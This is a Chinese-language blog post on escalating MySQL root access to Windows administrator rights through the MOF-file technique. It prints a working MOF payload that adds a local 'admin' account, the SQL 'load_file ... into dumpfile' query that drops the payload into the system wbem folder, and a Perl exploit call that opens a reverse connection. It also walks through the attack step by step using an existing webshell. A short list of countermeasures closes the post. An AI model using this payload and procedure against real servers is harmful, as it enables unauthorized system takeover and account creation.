MySQL資料庫Root許可權MOF方法提權研究

FLy_鵬程萬里發表於2018-07-06
MySQL資料庫Root許可權MOF方法提權研究
MySQL Root許可權MOF方法提權是來自國外Kingcope大牛釋出的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/)
,簡稱mysql遠端提權0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規範 (WMI) 提供了以下三種方法編譯到 WMI 儲存庫的託管物件格式 (MOF) 檔案:
方法1:執行 MOF 檔案指定為命令列引數將 Mofcomp.exe 檔案。
方法2:使用 IMofCompiler 介面和 $ CompileFile 方法。
方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 資料夾的 MOF 檔案。

Microsoft 建議您到儲存庫編譯 MOF 檔案使用前兩種方法。也就是執行 Mofcomp.exe 檔案,或使用 IMofCompiler::CompileFile 方法。第三種方法僅為向後相容性與早期版本的 WMI 提供,並因為此功能可能不會提供在將來的版本後,不應使用。注意使用MOF方法提權的前提是當前Root帳號可以複製檔案到%SystemRoot%\System32\Wbem\MOF目錄下,否則會失敗!

001漏洞利用方法分析

該漏洞的利用前提條件是必須具備mysql的root許可權,在Kingcope公佈的0day中公佈了一個pl利用指令碼。
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
192.168.2.100為mysql資料庫所在伺服器,mysql口令為空,反彈到192.168.2.150的5555埠上。
1.生成nullevt.mof檔案
將以下程式碼儲存為nullevt.mof檔案:

# pragma namespace("\\.\root\subscription")

instance of **EventFilter as $EventFilter{    EventNamespace = "Root\Cimv2";    Name  = "filtP2";    Query = "Select \* From **InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

2.通過Mysql查詢將檔案匯入
執行以下查詢語句,將上面生成的nullevt.mof匯入到c:\windows\system32\wbem\mof\目錄下在windows7中預設是拒絕訪問的。匯入後系統會自動執行,執行命令。
select load_file('C:\RECYCLER\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

002實戰利用

1.實驗環境
本次實驗環境為Windows2003+Apache+PHP,已經擁有Webshell許可權。
2.上傳檔案到可寫目錄
將nullevt.mof檔案上傳到伺服器可寫目錄,例如C:\RECYCLER\,如圖1所示。


圖1上傳檔案nullevt.mof
3.執行命令
配置好中國菜刀,然後通過資料庫管理,執行查詢命令,在執行查詢命令前需要先選擇一下資料庫,然後將以下程式碼複製到查詢語句輸入框中,如圖2所示。
select load_file('C:\RECYCLER\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';


圖2執行查詢命令
4.檢視執行結果
執行完畢後需要修改新增使用者命令為將使用者新增到管理員組,即“net.exe localgroup administrators admin/add\”,再次上傳並查詢,如圖3所示,通過net user檢視,果然admin已被新增到系統中。


圖3新增使用者成功

003防範方法

Mysql Root許可權MOF方法提權其前提條件是能夠將上傳的nullevt.mof複製到系統目錄下,例如c:\windows\system32\wbem\mof中,如果無法複製則會提權失敗。一般對Windows2003以下作業系統效果較好,Windows2008以上由於保護機制,較少能夠成功。因此可以採取以下措施進行防範:
1.在程式資料庫連線檔案中儘量不要使用Root帳號進行連線。
2.Root帳號使用強加密方式,採用字母大小寫+數字+特殊字元,密碼位數15位以上。

3.對Mysql資料庫的mysql資料庫目錄許可權嚴格限制,IIS使用者無法讀寫該檔案。

作業系統目錄c:\windows\system32\wbem禁止寫入。

相關文章